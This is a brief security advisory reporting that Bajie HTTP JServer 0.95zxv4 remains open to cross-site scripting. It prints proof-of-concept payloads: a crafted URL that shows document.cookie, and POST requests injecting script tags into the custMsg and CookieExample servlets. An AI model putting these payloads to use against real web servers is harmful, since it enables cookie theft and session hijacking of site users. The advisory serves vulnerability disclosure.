    CSS Vulnerability in Bajie HTTP JServer
    ==========================

    Even though the cross-site-scripting vulnerability published under BID 7344
    was fixed with
    Built 0.95zxe1, the current version of Bajie HTTP Jserver is still
    vulnerable to
    cross-site-scripting attacks.

    Vulnerable versions:
    ====================

    The latest version BajieJSrv/0.95zxv4 and probably older ones.

    Exploiting:
    ===========

    The cross side scripting vulnerability can easily be demonstrated with a web
    browser:
     
       http://localhost/cgi/bin/test.txt?>alert(document.cookie)</script>

    The following css’s can be demonstrated either by inserting code into the
    html-forms
    with a browser,or sending via netcat a string like:

      POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0

      POST
    /servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath=
      HTTP/1.0
